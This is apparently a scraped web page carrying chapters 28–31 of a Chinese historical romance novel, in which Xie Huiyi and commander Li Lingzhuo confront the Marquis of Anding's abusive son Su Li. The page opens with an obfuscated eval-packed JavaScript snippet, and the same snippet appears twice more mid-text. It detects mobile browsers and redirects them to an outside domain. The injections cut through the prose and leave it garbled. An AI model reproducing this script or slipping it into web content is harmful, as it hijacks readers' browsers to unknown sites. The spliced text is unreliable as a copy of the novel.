;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嘿?你敢咬我?看我怎么收拾你!”说罢,男子抬起了手,眼看就要落在女子身上。 “住手!” 谢晦已挺身而出,护在那对母女身前。 男子微微一怔,手中的动作果然随之停止。 在旁观者的目光中,他似乎是因为那句呵斥,才缓缓放下手。唯有他自己猛烈地摇着头,口中低声喃喃道:“我的手这是怎么了?” 待他回过神来,便见谢晦已蹙着眉头站在自己面前。 “哟,美人救美?我真是艳福不浅啊。”他流里流气地说,抬手就要摸谢晦已的脸。 谢晦已躲开他的手,从腰上拽下了令牌,毫不留情地劈在他的脸上,“放肆!睁开你的狗眼睛,看看我是谁?” 她不得不承认,在这种情形之下,李灵濯的名头是最快捷的方式。 男子被砸得发懵,捂着鼻子弯下腰哀嚎不止。 令牌掉落在地,印着“大盛锦衣卫指挥使之令”的那一面朝上,上面的祥云纹险些晃瞎他的眼。 “锦衣卫?你是那位李大人的女人?”他浑身一颤,虽是惧怕不已,但依旧嘴硬道,“你以为我会怕他?” 谢晦已出言恐吓道:“瞧公子如此做派,想来也不是第一次强抢民女了,你身上也背着几条人命官司吧?你家中能承受得起锦衣卫的彻查吗?” 谁料,他竟是冷笑一声。 “你知道我是谁吗?我是苏历,我父亲是安定侯,他手持免死金牌受天子庇护,大盛谁敢对他不利?” 苏历狂妄大笑着,伸手抓住谢晦已的手臂,贪婪地看着她的脸,一字一句地说: “小美人,我瞧你姿色不错才容你与我多说两句,现在你把我惹恼了。我改日令家父亲自登门,你觉得指挥使大人会拒绝吗?” 谢晦已听见“安定侯”三字时,不禁眉宇一松。这些人与青州案脱不开干系,如今碰上苏历,还真是打瞌睡有人送枕头。 可不等她有所回应,身旁的李兰畹就有了行动。 “我会拒绝。” 只见她阴沉着脸走到苏历面前,抬手就是一巴掌。 “把你的脏手拿开,你在欺辱李氏的家人。我不管你是哪家的公子,只要这天下还姓李,就轮不到你在我面前撒野。” 她动起手来毫不含糊,更因带着怒火,此时竟是将苏历这个酒囊饭袋直接扇翻在地。 “哟,又来一个,还挺有劲儿,”苏历上下打量着李兰畹,嘴里吹了个令人厌恶的哨音,“听你语气,你似乎是李家人?莫不是李大人的妹妹?” “是。”李兰畹居高临下地看着他。 “那正好是门当户对,改日叫我父亲上门提亲,”他从地上爬了起来,指着李兰畹,又点着谢晦已二人,“一名夫人与两名美妾,刚刚好。今天你们三个都别想跑。” 话音刚落,他身后的侍卫便围了上来。 28. 美人救美 谢晦已给于虞使了个眼色,随即与李兰畹抓起地上那两人,抬腿便跑。 冲撞在人群中时,她刻意殿后,以念力短暂操纵那群侍卫,让他们在平地上踉踉跄跄,耽搁许久,最终失去了她们的视野。 等拉开了距离,谢晦已才调转方向,一头冲进人迹罕至的后殿。 李兰畹守在门口,配合地插上了门闩。回过头来,她用目光上下打量谢晦已,无声询问她的情况。 谢晦已缓缓摇头,随后看向一旁的两人。 “夫人,小姐,你们还好吗?” “多谢两位姐姐出手相救,”那名女子扶着妇人拜倒在地,“我名为温若水,今日携姨娘前来祈愿,没想到会遭遇这样的事情。对不起,是我拖累了你们。” 妇人也谦逊地说:“两位小姐也不必称我为夫人,我只是府中的一位姨娘,娘家姓方。” 谢晦已上前扶起她们,“你们二位不必多礼,我方才与方姨娘有过一面之缘,此时出手相帮,也是缘分。” 李兰畹也开口道:“行善事结善果,今日你我皆在寺院,又刚刚在鱼仙面前祈愿,不出手相帮我心里哪里会舒坦?” 见她们依旧局促不安,李兰畹又做主提议道:“今日温小姐与方姨娘怕是不便走正门回府了,不妨等我们的人到了一同出去,也算是有个照应。” 温若水看了一眼正门的方向,虽是缄默不语,却也流露出一丝抵触。 谢晦已心细如发,不禁出声询问道:“温小姐可是有什么难言之隐?既是一同惹上了安定侯府,不知温小姐能否告知,他们为何盯着你不放?” 这番话似是触及温若水的伤心事,只见她霎时红了眼眶,随后又深深叹息一声。 “此事说来话长。我有一位青梅竹马,姓唐,与我早已定下婚约。唐公子月前去了京城求学,以备来年春闱。临行前,我在定庙替他求了平安符,也正是那日,有人在山路上策马而过,惊了我们温府的马车。 “那人便是苏公子。他不仅毫无悔改之心,更是将马夫当场打死,又与那几名同行人在嬉笑间,商议由谁家纳我入府。 “我深感耻辱,虽是不会骑马,却也不敢在这等纨绔面前多做停留。可当我与侍女同乘一马赶回温府时,外面已经传开,说我在定庙时就已经、已经……” 温若水觉得难以启齿,将这一整段都越了过去。 “那日回去后,父亲险些打死我,还好有姨娘护着。唐家那边也知晓苏公子是什么德行,识破了他们的胡言乱语,倒也没有叫婚约作废。 “不过,我因此被禁足许久,今日是求了母亲才得以出来透气。谁知冤家路窄,竟能再次遇见那个混账羔子!” 意识到自己言行有失体面,温若水一脸歉意地说道:“抱歉,方才污了两位姐姐的耳朵。” “这算什么大事?再难听的我都听过。” 李兰畹毫不在意地摆摆手,心中对那对父子的厌恶简直到了顶点,“他们在定州城中竟如此肆无忌惮?” “是。安定侯历经两朝,更有平定娄厥的大功,于去年告老还乡后,便住在御赐的宅邸之中,如今在定州城算是一手遮天。 “苏历是他的老来子,也是家中独子,因有安定侯为人方正的名声在,人们大多对他睁一只眼闭一只眼。况且为了息事宁人,安定侯向来出手大方,职务、金钱、名声,有求必应……说实话,如今甚至有人觉得他是个菩萨般的好人。” 温若水说到这里擦了擦泪水,“上次我父亲以为我将安定侯府得罪透了,为求自保,他铁了心要将我送去安定侯府做妾,好在被唐伯父拦了下来。这次只要苏公子亲自来要人,他一定很乐意将我交出去的。” 听罢,李兰畹的眉头皱得更紧了,“安定侯品行端正,跟苏历有什么关系?难道他抢人时,高喊一声‘我父亲品行端正’,就不算强抢民女了?” 温若水哭得伤心,方姨娘搂着她一言不发,却止不住地叹息。 谢晦已久久没有开口。 她摸不透李灵濯是何种打算。虽说李灵濯拒绝了与安定侯做连襟的提议,但安定侯毕竟是两朝功臣,李灵濯倘若存了轻纵侯府之心,那么在这件事情上终究靠不住。 他或许能就今日之事为她撑腰,然而这并不能动摇安定侯根本,充其量也只是保全他自己的颜面。 “温小姐的面前有两条路。” 谢晦已边思忖边说道:“第一条路,从了苏历的意愿,与唐家解除婚约。这条路看似皆大欢喜,然而温小姐对唐公子并非无情,我想你一定不想走这条路。” “正是,我宁可投井也不会做苏家妾。”温若水高抬着头,语气格外坚定。 “第二条路是什么?”李兰畹好奇地追问。 谢晦已指了指天,缓缓开口:“上达天听,釜底抽薪。” “谢小姐这是何意?”温若水颇感疑惑。 “鞭子不打在自己身上不知道痛。人们睁一只眼闭一只眼,是因为祭品困于后宅有口不能言,而获利的渔翁喜于丰收,天然追捧那些让他们不劳而获的神明。” 谢晦已眸光一闪,心中已然有了盘算,“一日不解决苏历的依仗,你便一日不得安宁。我知道在定州的衙门状告地头蛇,无异于以卵击石,可若是由朝廷插手,这件事就不会不了了之了。” “朝廷?”李兰畹揣摩着谢晦已的心思,出声询问道,“你是想让兄长插手此事吗?” 谢晦已点点头,又摇了摇头,“是京城。女子从不立于官场之上,人微言轻,今日之事传扬出去,说破了天也是风流韵事,我们讨不得一分好处。如今定州最有利的条件,便是安定侯的存在。从古至今,就没有一个能让皇帝不忌惮的权臣。” “莫非……你想让今日之事成为君臣猜忌的开端?”温若水不可置信地瞪大双眼,“仅凭我们,仅凭定庙一事,真的能成吗?” 李兰畹也将信将疑地看着谢晦已。 谢晦已没有正面回答温若水的问题,而是自顾自地蹲在一旁,用香灰画了一条线,“你们定州的命脉很明显,位于西边。” 温若水问:“定州的绥江堤坝?” “是。”谢晦已说。 温若水看着地上的线条,连连摇头:“难道我们要毁了堤坝?绥江一旦决堤,滔滔江水便会摧毁下游的一切。届时受害的不仅仅是江南一带,更会加重北方的赋税。谢小姐,这不成。” “毁掉堤坝未必需要我们动手。温小姐可知三人成虎?” 谢晦已在地上又画了三条线,“只要我们能让朝廷以为堤坝无法承受得住江水之怒,那堤坝再如何坚固,也会沦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875705|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为一层脆弱的纸。 “安定侯能保下苏历,仅凭好名声是做不到的,官府必有为他卖命的心腹。倘若官府在堤坝上出了大错,而其中又有安定侯的影子,届时无需我们操纵,他的政敌便会出手,再多的免死金牌都会成为他的催命符。” 谢晦已收回了手,抬起波澜不惊的眸子望向温若水,“你要承受两道风险。其一,遭受苏历强抢。你可以躲起来,然而父母之命媒妁之言,你父亲一旦拍定婚事,你就算躲到天涯海角,也轻易退婚不得。 “其二,会有政敌为了加剧事态,在你这边闹出人命官司,让它成为一桩影响恶劣的强抢民女案。你躲得过明枪暗箭,也躲不过至亲被刺杀身亡。” 听着谢晦已的分析,温若水的神情愈发凝重,最终再次朝她跪了下去,“请谢小姐赐教。” 谢晦已的目光飘向大殿以外的虚无,观察着日光,盘算着时间,似是征询她的意见,却又带着几分不容拒绝。 “你可愿意假死于今日?” 听到这话,温若水一双眸子仿若蒙了氤氲雾气,看着地上的痕迹,果然略有迟疑。 “我需要时间。” “温小姐,不是我有意逼迫,而是你只剩不到一炷香的时间可以考量,”谢晦已平静地收回了目光,“我的帮手很快就要到了,能不能让他信服于我,全靠你我的配合。” 温若水面上纠结更甚。 眼看她顾虑重重,始终沉默的方姨娘这时忽然开了口:“若儿,想做什么就去做吧,不必考量结果,也不必在意是否会牵连到我。” “姨娘?” 温若水被看穿了心思,一时有些羞愧难当,“是我的错,我无论如何抉择,都会连累你受苦。” “我不该成为你追求幸福的牵绊,更不想成为你的累赘。我只担心你看不见一时忍让,会带来如何沉痛的结果。” 念及过往,方姨娘垂下眸子,语气沉重了几分,“你外祖父就是这样把我送给你父亲的。唐公子人品贵重,又有学问在,日后再不济也能做个教书先生。安定侯府那样的门第原本是好的,但是那位小侯爷太过阴毒,你就算是做他的宠妾,也不会过上安生日子。 “谢小姐所言非虚,你面前只有两条路可走。你意志不坚,退一步接受了安定侯府的荣华富贵,就不要再妄想一丝真心,往后活到哪日都是你自己的造化。你若想做唐家的当家夫人,就要走上与两朝元老不死不休的路。你做什么决定,我都会与你一同承担背后的骂名。” “姨娘,”温若水抱着方姨娘失声痛哭,“对不起,是我给你添麻烦了。安定侯府那样的人家,我就算是进去了也不过是秋后的蚂蚱。我想为自己争一条命,哪怕真的会折在半路上,我也认了。” 方姨娘轻拍温若水的后背,这时又转头看向谢晦已,“谢小姐,你会将若儿藏好的,对吗?” “我会的,我会让她留在我身边,待事态平息后再现身于人前。”谢晦已说。 “你是若儿的贵人。除了你,我们没有旁人可求,”方姨娘目光略带不舍,“希望你能念在我们对你全然信赖的份上,顾全若儿的性命。” 谢晦已向她郑重许诺:“我答应你,无论温小姐陷入何种绝境,我都会拉她一把。” “这样我就放心了。”方姨娘喃喃道。 29. 半山论道 李灵濯赶到时,定庙中议论纷纷,先前赶来祈福的香客这会儿都驻足不前,停留在前院看热闹。 “苏小侯爷被人捆起来了?对方什么来头?” “不清楚,好像是青州来的。下手真是不知轻重。” 李灵濯翻身下马,随手抓了其中一人打听道:“你们说的人,现在身在何处?” 那人一愣,随后指明了方向,“你从那边台阶上去就能瞧见,他们在后殿厢房闹起来了。” “多谢。”李灵濯转身要走。 那人连忙扯住他衣袖,好言相劝道:“你莫去,安定侯府的人把后殿围得水泄不通,那女贼挟持安定侯世子,非要讨一个公道呢。” 李灵濯将他的手轻轻撇开,对他阴恻一笑:“水泄不通?” 他好似将劝告听了进去,回身退了几步,一路走到雪影跟前。可下一刻,他竟撑马而上,轻纵缰绳,雪影嘶鸣一声,直奔侯府围起来的那堵人墙。 定庙人潮拥挤,可看热闹的人自觉为他让出了一条路,也让他暴露在护卫眼中。 “站住!安定侯府在此,谁敢造次?” 眼见来者不善,安定侯府的护卫们瞬间警惕起来。 李灵濯扫视四周,见四下并无谢晦已的身影,这才缓缓开口道:“定庙非一家私有,安定侯府人手再多,也占不得一个理字。” 不料,那护卫却轻嗤一声:“什么人?也敢对侯府说三道四?” 李灵濯也对他轻轻一笑,“先礼。” 他再次轻纵缰绳,不等护卫手持长枪阻拦,他便俯身拍拍雪影的脖颈,抬眸静静地盯着他们,不无挑衅地说: “后兵。” 身下的雪影颇通人性,短短几步便提了速,登着那台阶轻盈一跃,从阵列的缝隙中,冲破了安定侯府的围堵。 “哎?” 护卫们惊呼一声,随后恼羞成怒道:“快!快拦下他!” 围观的百姓们望着他的背影,许久才回过神,“那是什么人?生面孔啊。” “这般年轻,莫不是外地来的纨绔?” “得了吧,论纨绔,谁越过安定侯世子?” “我管你是什么安定侯、定安侯的,活要见人,死要见尸。” 厢房中,谢晦已坐在主位上冷笑着,“在我面前自报家门可是无用的。我是外地人,只认理,不认人。” “油盐不进,我是安定侯世子,你竟敢对我下此毒手?还不快点将我松开,我管你什么温小姐、冷小姐,没看见就是没看见!”苏历颇不耐烦,在地上滚来滚去,像极了破茧失败的蚕蛹。 谢晦已斜乜他一眼,随后又道: “少废话。明明是你紧追不放,方才在外面发生的事情,证人可不在少数。温小姐一早就与我们失散了,不在你那里,还能去哪?” “谁知道她去哪……哦,我算是明白了,你分明是想替她打掩护呢。她跟野男人鬼混,又被人抛弃了吧?难怪你设局捉我在此,怎么,是想把事情赖在我身上,让我做冤大头收了温小姐?” 苏历猥琐一笑,贪婪的目光上下打量着谢晦已,“你们这些人故作清高真是有一套,今日特意到定庙装作与我偶遇,明明恨不得马上投怀送抱呢,这会儿装什么贞洁烈女?” 闻言,谢晦已不紧不慢地笑了笑。随即,她缓缓起身走到他面前,伸手提起了他的脑袋。 屋中的侍卫瞬间紧张起来,可受制于苏历被挟持,他们根本不敢动手,“谢小姐,你要做什么?” 谢晦已笑而不语,手上暗自发力,拖拽着人向屋门走去,“咣当”一声,一脚踢开了大门。 她俯下身,将苏历的脑袋压在石阶上。 由于方才的震动,屋檐下的冰锥摇摇欲坠。她朝天吹了一声口哨,那冰锥竟配合似的掉落下来,直奔苏历面门而去。 离眼睛只有一寸时,谢晦已稳稳接住了冰锥,随后似笑非笑地看着他道:“小侯爷真爱说笑,我礼尚往来略表心意。” 苏历被吓破了胆子,这会儿竭力扭头,对旁边手持刀剑的侍卫怒骂道: “废物!废物!里里外外全是我们的人,你们怕什么?还不快点解决她!” “我看谁敢?” 谢晦已厉声呵斥,随后一刀插在苏历手背,将他钉死在地面,“都听不懂人话?我管你们外面围了多少人,找不到温小姐,你们一个都别想走。” “啊——” 苏历哀嚎,整个人蜷缩成了软虾,“我父亲不会放过你的,你给我等着!” 话音刚落,外面忽然传来一阵骚动,在这肃穆的后院中分外突兀。 谢晦已转过头,还未及反应,院外便骤然响起短兵相接之声,惊得寒鸦扑棱而起,也惊得屋檐下的冰锥簌簌坠落。 “什么人!竟敢对我们侯府的人动手?” 一道厉喝撕破了屋内的寂静。 紧接着,一阵轻盈的马蹄声由远及近,裹挟着细微的碎冰脆响,渐渐行至院门外。谢晦已听了一会儿,悬着的心总算放了下来。 几乎就在这一念头闪过的瞬间,寒光骤现,一柄利剑穿透了厚重的院门,血珠顺着斑驳木纹缓缓滑落,随之而来的,便是彻底的死寂。 寒风凛冽,吹寒了尸骨,也吹醒了屋内众人。他们大惊失色,提起兵器纷纷奔向院门。 “你们过去做什么?我怎么办!”苏历颤抖着大喊。 下一刻,那勇闯千军的马蹄冲踏而上,木门轰然倒塌,抖落一院尘埃。 冷若冰霜的人拔出门上的佩剑,钉在上面的尸首滚落一侧,马蹄从旁跨了进来。 “谢晦已。” “我在这。” 甫一见谢晦已出门,李灵濯就翻身下了马。 待利刃收鞘,谢晦已这才注意到李灵濯今日携了两把利剑,坠挂在左侧腰间,身上还穿着银白轻骑装,将他劲瘦的腰身勾勒得一览无余。 看他风尘仆仆的样子,她原本冷厉的目光不觉间柔和了几分,“你怎么来了?” 瞧清院内情形,李灵濯暗暗松了一口气。再回过头时,他眉眼间带了几分笑,“公务不忙,顺道来看看你。在忙?” “在忙。” 谢晦已以目光示意地上的苏历,随后对李灵濯说道:“胡言乱语之人,自称是安定侯世子。区区虾兵蟹将,无需劳烦李大人相帮。” 李灵濯觉察到她并不想麻烦自己,故而主动接过话茬,“就算是真的安定侯世子也无妨。你让于夫子去寻我,这边到底发生了什么?” 谢晦已深吸一口气,狠狠地瞪了一眼地上那人,“那会儿我们在上香,我正与旁边一位温姓小姐交谈,他就凑了过来。温小姐在人群中与我失散,现在还下落不明呢。” “他有交代那位温小姐身在何处吗?”李灵濯问。 “他说他不知道,”谢晦已嗤笑一声,“早上还扬言要纳一妻二妾,这会儿就躺在地上寻凉快,一问三不知了。” 苏历听着他们的对话,终于反应过来眼前之人的身份,惊讶地问:“你?你就是那位锦衣卫指挥使?” 李灵濯冷冷地瞥了他一眼,转而继续问谢晦已:“外面的护卫什么时候到的?你去外面搜查过吗?兰畹怎么没和你在一起?” “她在外面呢,护卫拦着肯定进不来。我们一开始分头找了很久,可温小姐就像人间蒸发了一样,一点线索都没有。所以我自己过来审他,留了几个胆小的护卫在院子里,他们 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谢晦已快步上前,跟李兰畹一左一右,将方姨娘搀扶起来。“方姨娘,温小姐怎么了?” “谢小姐。” 方姨娘拉着谢晦已的手,哭得快要背过气:“我的若儿她、她的簪子掉在井边。方才这位师父在井中舀水,竟是舀出来一桶带着断帛的清水。她怎么这么傻……” 闻言,谢晦已不可置信地瞪大双眼,随后转头瞥向苏历,气愤地开口道: “你干的好事!” “你吼我有什么用?关我什么事?” 苏历听到这话却无动于衷。毕竟天大的事他爹都能替他摆平,区区一条商户女的性命,又算得了什么? “我要报官。” 方姨娘仿佛失去了全身气力,再次跌坐在地上,喃喃自语道:“我要报官,我定要替若儿求得一个公道。” 李兰畹在一旁扶着方姨娘,避过头时,她也拿起帕子擦拭眼角的泪水。 “温小姐明明今晨还与我们交谈甚欢,怎么就……” 谢晦已叹息一声,随后暗中扯了扯李灵濯的衣袖。后者心领神会,与她走至一侧的凉亭中。 眼见四处无人,谢晦已这才压低声音开口道:“虽是闹出了人命,但这苏历是个麻烦的,交给官府管用吗?” 李灵濯稍作思忖,回答道:“多少会照顾安定侯的面子,不痛不痒地关几日,交了钱就走人。” “安定侯想把他捞出去,一般用的是什么理由?”谢晦已又问。 “误会、冲动、稚子年幼童心未泯。” 李灵濯也觉得此事荒谬,不禁冷笑一声: “你没翻过他们定州的卷宗,事实上这边一年有至少两成罪行是苏历犯下的,但安定侯次次勤恳认罪,四处赔钱后,也没什么人想跟他们奉陪到底。 “官司耗人气力,这苏历虽说欺男霸女,但本质上是个欺软怕硬的,遭他毒手的多半是寻常百姓人家,哪里有底气跟安定侯叫板?” “那你呢?”谢晦已抬眸看他,“如今应当是有所不同的,有李大人在的定州府,可是一个可靠的选择?” 望着她眼中若隐若现的希冀,李灵濯对她轻轻一笑,随即攥住了她的手。 “自然。” “那……” 谢晦已又靠近一步,在他耳畔轻声询问道:“我身为一个外地人,出于误会,把人弄死也没关系的吧?” 不等李灵濯回答,她又是狡黠一笑,“这回我可与你打过招呼了。” 李灵濯垂眸看她,无奈地叹息道:“山林风大,我什么都没听见。” 30. 朱门鸿门 听出他确实站在自己这边,谢晦已心中说不上来是什么感觉。 她故作轻松地别开头,满面堆起了笑,“那就有劳李大人将此人送到侯府?他假冒安定侯世子,我已替安定侯教训一顿,登门领赏也是说得过去的。” 李灵濯唇角弯起,不无揶揄地说:“还以为你打算在这里把苏历解决掉。” “苏历这条命可不能现在就折我手里。” 谢晦已抬眸看他,语气略带委屈,“安定侯跟张知府又不一样,我掉两次脑袋都不够被他通缉的,一旦被他盯上,怎么可能像李大人这般好说话,说撤就撤了。” 李灵濯瞬间领悟了她的意图,却只觉得好笑:“你又想让我做什么?” “是补偿。”谢晦已纠正道。 李灵濯照旧笑着:“好。谢小姐想让我补偿什么?” “当地百姓都说定州的守护神有两个,一个是绥江堤坝,一个是安定侯。” 说到这里,谢晦已摆正了神色,认认真真地说:“温小姐生死未卜,又在我眼前失踪,这桩案子我定要追查到底。李大人,我别无他求,只希望你能将定州发生的事,毫无保留地上报京城。” 李灵濯挑眉:“仅此而已?” “仅此而已。”谢晦已分外笃定。 “小事,整件案情,”李灵濯点了点自己的太阳穴,“我都记在这里。” 谢晦已暗暗松了一口气,真情实意地说:“多谢李大人秉公执法。” 谢? 闻言,李灵濯忽然敛了笑意,皮笑肉不笑地扯了扯唇角:“谢小姐客气了,分内之事,何足挂齿。” 谢晦已看了他半晌,意识到他在闹别扭,索性倒打一耙道:“李大人这话说得生分,没来由地叫人心寒。” 李灵濯见怪不怪,却也顺着她的话接了下去:“是吗?既是心寒,想来也有回暖之策。” 谢晦已配合追问:“什么?” 李灵濯侧头看她,身上的银甲泛着波澜寒光,在暮色中化作流动的霜。 “城外的庄子叫人拾掇好了,后院有一眼温泉引自山间,谢小姐今夜与我秉烛同去,如何?” 谢晦已微微一怔,随后问道:“你不是刚到定州,什么时候置办的庄子?” 李灵濯冷哼:“怎么会是置办的?当然是谢恩谢出来的。” “哎呀,这是什么话?” 谢晦已轻勾朱唇,扯着他的臂甲,在他脸颊上落下一吻。 随后她摊开掌心,故作埋怨道:“李大人这身银甲当真寒凉,冻得我手都疼呢。也不知有没有个知心的人,来替我暖暖?” 李灵濯伸出了手,却倏地划过谢晦已的耳尖,对她低声笑道:“早干什么去了?” 说罢,他不由分说地牵起她的手,贴在自己的颈侧。 指腹下的颤动,一下又一下撞在谢晦已的心弦,混着他的滚烫体温,在她的掌心弥漫开来。 “这点温度都要被风霜冻透了,也不见一个知冷暖的人替我分忧。”李灵濯说。 望着他幽冷的双眼,谢晦已挑起眉,故意动了动指尖,尾音慵懒:“李大人脉搏不稳,可别是见了我才有的病症。” “谢小姐神医在世,惯会厚此薄彼。披星戴月也要在外面撒欢,却留枕边人在房中苦等。” 李灵濯扣住她不安分的手腕,故意加重了力道,“手再凉些,我这里便是炭火再多,也捂不热了。” “哪里是炭火的功劳?” 谢晦已上下打量他,唇角微勾,挂着明晃晃的撩拨。 “分明是李大人中看也中用。” 夜幕降临之前,水井边上的几人都下了山,在定庙前分道扬镳。 李兰畹送方姨娘回温家,苏历照旧被五花大绑着,嫌他吵闹,素秉又扯了一块破布团了团,堵住了他的嘴。 谢晦已看了苏历许久,收回目光时,刚好对上李灵濯幽暗的视线。 谢晦已脚下一顿,却还是有条不紊地坐在李灵濯身侧,没有吭声。 凛冽的寒风止步于那一层车帘,车内的暖炉烧得正旺,四处都铺上了柔软的毡垫。 当马车缓缓驶动时,谢晦已倏地起身,揽着他脖颈,忽然吻上他微微颤抖的唇。 “谢晦已。” 李灵濯呼吸一滞,强忍着将她抵在车壁,眼中的晦暗几度脱缰而出。 “你明知我乱了。” “怎么了?” 谢晦已佯装不知,青丝散落,眼底的狡黠却是毫不遮掩,“不是李大人自己说的,要在外面撒欢?” 她抚过他紧绷的肩颈,再度坐回他身上,指尖绕过他的耳畔,吐气如兰:“出来得久了,我好像忘了回去的路。” “李大人若想苦等,那请自便吧。” 冷霜裹挟着细雪压向定州城,暮色浓烈了,青石街道也褪尽了白日喧嚣,唯余最本初的颜色。 寒风掠过屋檐悬着的冰棱,撞得零星几盏灯笼东倒西歪,昏黄光晕在石板上摇晃,几道碎金映出满地氤氲,指尖轻点饱满的露珠,倏地汇成几条细流。 夜色静了。 李灵濯携谢晦已回去沐浴更衣,而后坐上了拜访安定侯府的马车。 侯府早就收到消息,街巷间一片肃杀之气,府外护卫身披轻甲,俱是严阵以待。 谢晦已掀开车窗一角,远见那座御赐的宅邸气势恢宏,近看那扇朱漆门大敞,上面的铜钉泛着寒光,蹲踞在外的那对石狮子足有一人高。 李灵濯率先下车,替她掀起了车帘。 稳落在地面,谢晦已抬头望去。侯府门楣上悬着鎏金匾额,“安定侯府”四字乃是先帝御笔亲书,庄严地悬挂在众人头顶,彰显着无声的威压。 出人意料的是,安定侯也毕恭毕敬地候在门外。见李灵濯安全抵府,他礼数周全地退了一步,端正地行了叩拜大礼。 “微臣参见钦差大人。” 谢晦已这会儿正站在李灵濯身侧。目睹双鬓斑白的老翁在自己面前叩首在地,她不自在地移了移步伐,却被李灵濯攥着手腕拽了回去。 “起来吧。你我今日只是朝中命官,无需多礼。”李灵濯说。 安定侯缓缓起身:“多谢李大人。微臣已在府中备好酒菜,还望大人不嫌。” 李灵濯默许了,带着谢晦已越过他走入侯府。 安定侯侧过身,将他们几人全部迎了进去。直到这时,他才敢抬头找寻苏历,可人群中根本瞧不见一个影。 念及是苏历开罪在先,他又不敢多问,只得紧随李灵濯的步伐,转身走进府邸。 苏历在后面的马车里藏着,“呜呜”了半天。素秉与他同车看守,怎么看他都不顺眼,真想把人丢在外面冻一晚上。 “老实点,”素秉一巴掌拍在他的脑袋上,没什么好气地说,“主子让你进去你再进。” 薄雪初停,中庭水榭浮在月影朦胧的池上,梨花木栏杆悬着新摘下的梅枝,梅花暗香混着庭中细细焚烧的檀香,缓缓拂面而来。 主位上,李灵濯左手执看桌案上的白玉盏,右手虚扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875707|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在谢晦已腕间,有一句没一句地与安定侯闲谈。 谢晦已端正坐着,在堂中打量半天,双眉紧蹙,自始至终没有松开过。 她又听见了蚂蚁的动静,但如何透露给李灵濯就是个难题了。 宾客聚齐后,一串清越琴声若碎珠落盘,率先宣告了夜宴开启。 紧接着,数名舞姬鱼贯而入,衣袂翩翩,藕粉裙摆宛若绽放的菡萏,旋若仙鹤轻点湖面,留下轻波相伴的圈圈涟漪。 谢晦已漫无目的地扫视着她们的脸,直至其中一位舞姬忽然离了队,手持酒盅移步至李灵濯面前。 单看她的相貌,竟是与谢晦已有五六分相似。 李灵濯看清她的面容后微微一愣,随即牵动了怒气,“安定侯这是何意?” 安定侯故作不知,脚步麻利地跪在李灵濯面前,背脊微弯,面上浮起一抹恰到好处的惶恐。 “大人恕罪!此女是近日新进府的舞姬,微臣并未细看她的面容,绝无冒犯大人之意!” “是吗?天底下竟有如此巧合之事,桩桩件件,都叫你安定侯赶上了?” 李灵濯目光骤冷,里面藏着连谢晦已也看不透的恨意,“你究竟是运气好,还是拿我当傻子?” 闻言,安定侯再次叩首在地,态度格外恭顺,“微臣不敢,微臣这就叫这贱婢退下。” 好戏当前,谢晦已也撂下玉箸,静静观察那舞姬。 婀娜美人立在堂中,有人为她起了争端,在座宾客的目光游离在她们之间,她却照旧垂头执着酒杯,只一双白皙的手腕微微颤抖,端的是一副楚楚动人的模样。 安定侯当真是费了心思,短短一日便找到这样的舞姬,真不知是该说他运气好呢,还是该说他藏着的货源太多,有足够的资本筛选。 只一条,试探李灵濯与她的关系,是板上钉钉的事实。只要李灵濯并不是非她不可,那么他儿子就还有转圜余地。 念及于此,谢晦已的手腕突然扭转,杯中酒液在空中荡出个完美的弧度,悉数泼洒在那舞姬身上。 随即“咣当”一声,酒盅重重地搁在桌案上。 众人目光皆被她的动静吸引,却在看清面容后了然一笑。 后宅妇人,果真喜欢争风吃醋,这位李大人艳福不浅啊。 那舞姬也是如此作想,面色惶恐地跪倒在地。可谢晦已却面不改色地站了起来,俯身在李灵濯耳边飞快说道: “一炷香。” 转过头后,她面上才换上另一副神情,似是落寞,也似是愤懑,终是指着那舞姬冷笑一声: “不过是东施效颦,安定侯何必敢做不敢当?” 谢晦已踱步到舞姬身侧,故作大度地扶她起身,“侯府待客之道,总不会是叫伶人衣衫不整地面见宾客吧?楚楚可怜的,瞧起来什么样子?像是我要吃了她一般。” 不等安定侯开口,她目光一转,又在舞姬瑟缩的身躯上打了个旋,“把脏东西带回府里,李大人心里也不舒坦,您说是不是?” 安定侯静静看了她半晌,想着妇道人家的阴私手段不过就那几样,最终还是点了点头:“谢小姐请。” 得了准允,谢晦已微微一笑,偏头对舞姬说道:“还不随我走?你家主子都放行了。” 那舞姬被她扯得浑身一颤,眼见自家主子根本无心保全,她惴惴不安地随着谢晦已走出水榭,不知她准备如何磋磨自己。 谁知,走得远了,谢晦已竟说了一句地道的青州话。 “你多久没回过家了?” 31. 青出于蓝 在侯府仆从的引领下,谢晦已带舞姬进了一处闲置的厢房,随后从仆从的手中接过一套干净的衣物。 临关门前,谢晦已阴沉着脸,对他们恶狠狠地说道:“无论有什么动静,你们都不许进来。” 大门紧闭,舞姬局促不安地站在房内中央,紧张得连手脚都不知该往哪里搁。 “谢小姐也是青州人?”她试图以讨好的口吻发问。 谢晦已扫了她一眼,从旁扯过屏风,将衣物搭在上方后,踱步至屏风背面的官帽椅上。 “天凉,屋里也没个炭火,你先把身上的湿衣服换了。” 